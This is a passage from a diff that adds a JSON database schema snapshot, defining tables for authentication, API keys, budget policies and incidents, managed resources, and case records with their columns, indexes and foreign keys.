+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "assets_company_id_companies_id_fk": {
+          "name": "assets_company_id_companies_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "assets_created_by_agent_id_agents_id_fk": {
+          "name": "assets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.account": {
+      "name": "account",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "account_id": {
+          "name": "account_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_id": {
+          "name": "provider_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "access_token": {
+          "name": "access_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "id_token": {
+          "name": "id_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "access_token_expires_at": {
+          "name": "access_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token_expires_at": {
+          "name": "refresh_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "password": {
+          "name": "password",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "account_user_id_user_id_fk": {
+          "name": "account_user_id_user_id_fk",
+          "tableFrom": "account",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.session": {
+      "name": "session",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token": {
+          "name": "token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "ip_address": {
+          "name": "ip_address",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_agent": {
+          "name": "user_agent",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "session_user_id_user_id_fk": {
+          "name": "session_user_id_user_id_fk",
+          "tableFrom": "session",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user": {
+      "name": "user",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email": {
+          "name": "email",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email_verified": {
+          "name": "email_verified",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "image": {
+          "name": "image",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.verification": {
+      "name": "verification",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value": {
+          "name": "value",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.board_api_keys": {
+      "name": "board_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "board_api_keys_key_hash_idx": {
+          "name": "board_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "board_api_keys_user_idx": {
+          "name": "board_api_keys_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "board_api_keys_user_id_user_id_fk": {
+          "name": "board_api_keys_user_id_user_id_fk",
+          "tableFrom": "board_api_keys",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_incidents": {
+      "name": "budget_incidents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start": {
+          "name": "window_start",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_end": {
+          "name": "window_end",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "threshold_type": {
+          "name": "threshold_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_limit": {
+          "name": "amount_limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_observed": {
+          "name": "amount_observed",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_incidents_company_status_idx": {
+          "name": "budget_incidents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_company_scope_idx": {
+          "name": "budget_incidents_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_policy_window_threshold_idx": {
+          "name": "budget_incidents_policy_window_threshold_idx",
+          "columns": [
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "threshold_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"budget_incidents\".\"status\" <> 'dismissed'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_incidents_company_id_companies_id_fk": {
+          "name": "budget_incidents_company_id_companies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_policy_id_budget_policies_id_fk": {
+          "name": "budget_incidents_policy_id_budget_policies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "budget_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_approval_id_approvals_id_fk": {
+          "name": "budget_incidents_approval_id_approvals_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_policies": {
+      "name": "budget_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'billed_cents'"
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount": {
+          "name": "amount",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "warn_percent": {
+          "name": "warn_percent",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 80
+        },
+        "hard_stop_enabled": {
+          "name": "hard_stop_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "notify_enabled": {
+          "name": "notify_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_active": {
+          "name": "is_active",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_policies_company_scope_active_idx": {
+          "name": "budget_policies_company_scope_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_active",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_window_idx": {
+          "name": "budget_policies_company_window_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_scope_metric_unique_idx": {
+          "name": "budget_policies_company_scope_metric_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_policies_company_id_companies_id_fk": {
+          "name": "budget_policies_company_id_companies_id_fk",
+          "tableFrom": "budget_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.built_in_managed_resources": {
+      "name": "built_in_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_key": {
+          "name": "bundle_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_version": {
+          "name": "stock_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_hash": {
+          "name": "stock_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "built_in_managed_resources_company_idx": {
+          "name": "built_in_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_resource_idx": {
+          "name": "built_in_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_company_bundle_resource_uq": {
+          "name": "built_in_managed_resources_company_bundle_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bundle_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "built_in_managed_resources_company_id_companies_id_fk": {
+          "name": "built_in_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "built_in_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_attachments": {
+      "name": "case_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_attachments_company_case_idx": {
+          "name": "case_attachments_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_attachments_asset_uq": {
+          "name": "case_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_attachments_company_id_companies_id_fk": {
+          "name": "case_attachments_company_id_companies_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_case_id_cases_id_fk": {
+          "name": "case_attachments_case_id_cases_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_asset_id_assets_id_fk": {
+          "name": "case_attachments_asset_id_assets_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_documents": {
+      "name": "case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_documents_company_case_key_uq": {
+          "name": "case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_document_uq": {
+          "name": "case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_company_case_updated_idx": {
+          "name": "case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_documents_company_id_companies_id_fk": {
+          "name": "case_documents_company_id_companies_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_case_id_cases_id_fk": {
+          "name": "case_documents_case_id_cases_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_document_id_documents_id_fk": {
+          "name": "case_documents_document_id_documents_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_events": {
+      "name": "case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_events_case_created_idx": {
+          "name": "case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_events_company_case_idx": {
+          "name": "case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_events_company_id_companies_id_fk": {
+          "name": "case_events_company_id_companies_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_case_id_cases_id_fk": {
